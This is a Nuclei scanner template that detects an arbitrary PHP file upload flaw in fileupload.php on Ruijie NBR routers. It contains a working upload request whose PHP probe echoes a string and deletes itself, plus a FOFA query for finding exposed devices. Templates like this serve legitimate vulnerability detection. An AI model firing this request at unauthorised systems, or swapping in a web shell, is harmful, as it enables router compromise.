nuclei-templates/http/vulnerabilities/ruijie/ruijie-nbr-fileupload.yaml

id: ruijie-nbr-fileupload

info:
  name: Ruijie NBR fileupload.php - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/ruijie-nbr-fileupload.yaml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Ruijie-NBR路由器"
  tags: ruijie,file-upload,intrusive,nbr
variables:
  filename: "{{rand_base(6)}}"
  string: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /ddi/server/fileupload.php?uploadDir=upload&name={{filename}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/plain, */*; q=0.01
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: image/jpeg

        <?php echo "{{string}}"; unlink(__FILE__); ?>
      - |
        GET /ddi/server/upload/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains(body_1,"jsonrpc")
          - status_code_2 == 200 && contains(body_2,"{{string}}")
        condition: and

# digest: 4a0a0047304502205aec15506f551f025b3d99fd40a127b9e9c4787e16d32915d121b954cf089721022100d8fe6d2cbdf3db8ebc017eee812656570ec642c8ae99dea9b26c64c427570fee:922c64590222798bb761d5b6d8e72950